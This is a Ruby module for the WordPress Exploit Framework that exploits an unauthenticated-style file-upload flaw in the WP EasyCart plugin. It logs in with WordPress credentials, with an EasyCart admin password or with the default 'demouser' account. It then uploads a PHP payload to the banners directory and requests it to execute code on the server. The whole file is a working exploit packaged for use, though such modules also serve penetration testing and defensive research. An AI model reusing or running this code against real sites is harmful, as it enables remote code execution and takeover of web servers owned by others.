# frozen_string_literal: true

class Wpxf::Exploit::EasyCartShellUpload < Wpxf::Module
  include Wpxf
  include Wpxf::Net::HttpClient
  include Wpxf::WordPress::Login

  def initialize
    super

    update_info(
      name: 'EasyCart Shell Upload',
      desc: 'WordPress Shopping Cart (WP EasyCart) Plugin for WordPress '\
            'contains a flaw that allows a remote attacker to execute '\
            'arbitrary PHP code. This flaw exists because the '\
            '/inc/amfphp/administration/banneruploaderscript.php script does '\
            'not properly verify or sanitize user-uploaded files. By '\
            'uploading a .php file, the remote system will place the file in '\
            'a user-accessible path. Making a direct request to the uploaded '\
            'file will allow the attacker to execute the script with the '\
            'privileges of the web server.'\
            "\n"\
            'In versions <= 3.0.8 authentication can be done by using the '\
            'WordPress credentials of a user with any role. In later '\
            'versions, a valid EasyCart admin password will be required that '\
            'is in use by any admin user. A default installation of EasyCart '\
            'will setup a user called "demouser" with a preset password '\
            'of "demouser".',
      author: [
        'Kacper Szurek', # Vulnerability disclosure
        'rastating'      # WPXF module
      ],
      references: [
        ['WPVDB', '7745']
      ],
      date: 'Jan 08 2015'
    )

    register_options([
      StringOption.new(
        name: 'username',
        desc: 'The WordPress username to authenticate with (versions <= 3.0.8)'
      ),
      StringOption.new(
        name: 'password',
        desc: 'The WordPress password to authenticate with (versions <= 3.0.8)'
      ),
      StringOption.new(
        name: 'ec_password',
        desc: 'The EasyCart password to authenticate with (versions <= 3.0.18)'
      ),
      BooleanOption.new(
        name: 'ec_password_is_hash',
        desc: 'Whether or not ec_password is an MD5 hash',
        default: false
      )
    ])
  end

  def username
    normalized_option_value('username')
  end

  def password
    normalized_option_value('password')
  end

  def ec_password
    normalized_option_value('ec_password')
  end

  def ec_password_is_hash
    normalized_option_value('ec_password_is_hash')
  end

  def use_wordpress_authentication
    username.to_s != '' && password.to_s != ''
  end

  def use_ec_authentication
    ec_password.to_s != ''
  end

  def req_id
    if ec_password_is_hash
      return ec_password
    else
      return Utility::Text.md5(ec_password)
    end
  end

  def check
    check_plugin_version_from_readme('wp-easycart', '3.0.19')
  end

  def plugin_url
    normalize_uri(wordpress_url_plugins, 'wp-easycart')
  end

  def uploader_url
    normalize_uri(plugin_url, 'inc', 'amfphp', 'administration', 'banneruploaderscript.php')
  end

  def payload_body_builder(date_hash, payload_name, include_req_id)
    builder = Utility::BodyBuilder.new
    builder.add_field('datemd5', date_hash)
    builder.add_file_from_string('Filedata', payload.encoded, payload_name)
    builder.add_field('reqID', req_id) if include_req_id
    builder
  end

  def run
    return false unless super

    if !use_wordpress_authentication && !use_ec_authentication
      emit_error 'You must set either the username and password options or '\
                 'specify an ec_password value'
      return false
    end

    if use_wordpress_authentication && use_ec_authentication
      emit_info 'Both EasyCart and WordPress credentials were supplied, '\
                'attempting WordPress first...'
    end

    if use_wordpress_authentication
      emit_info "Authenticating using #{username}:#{password}..."
      cookie = wordpress_login(username, password)

      if !cookie
        if use_ec_authentication
          emit_warning 'Failed to authenticate with WordPress, attempting '\
                       'upload with EC password next...'
        else
          emit_error 'Failed to authenticate with WordPress'
          return false
        end
      else
        emit_success 'Authenticated with WordPress', true
      end
    end

    emit_info 'Preparing payload...'
    payload_name = Utility::Text.rand_alpha(10)
    date_hash = Utility::Text.md5(Time.now.to_s)
    uploaded_filename = "#{payload_name}_#{date_hash}.php"
    payload_url = normalize_uri(plugin_url, 'products', 'banners', uploaded_filename)
    builder = payload_body_builder(
      date_hash,
      "#{payload_name}.php",
      use_ec_authentication
    )

    emit_info 'Uploading payload...'
    res = nil
    builder.create do |body|
      res = execute_post_request(url: uploader_url, body: body, cookie: cookie)
    end

    if res.nil? || res.code != 200
      emit_error 'Failed to upload payload'
      emit_error "Server responded with code #{res.code}", true
      return false
    end

    emit_info 'Executing the payload...'
    res = execute_get_request(url: payload_url)
    if res && res.code == 200 && !res.body.strip.empty?
      emit_success "Result: #{res.body}"
    end

    true
  end
end
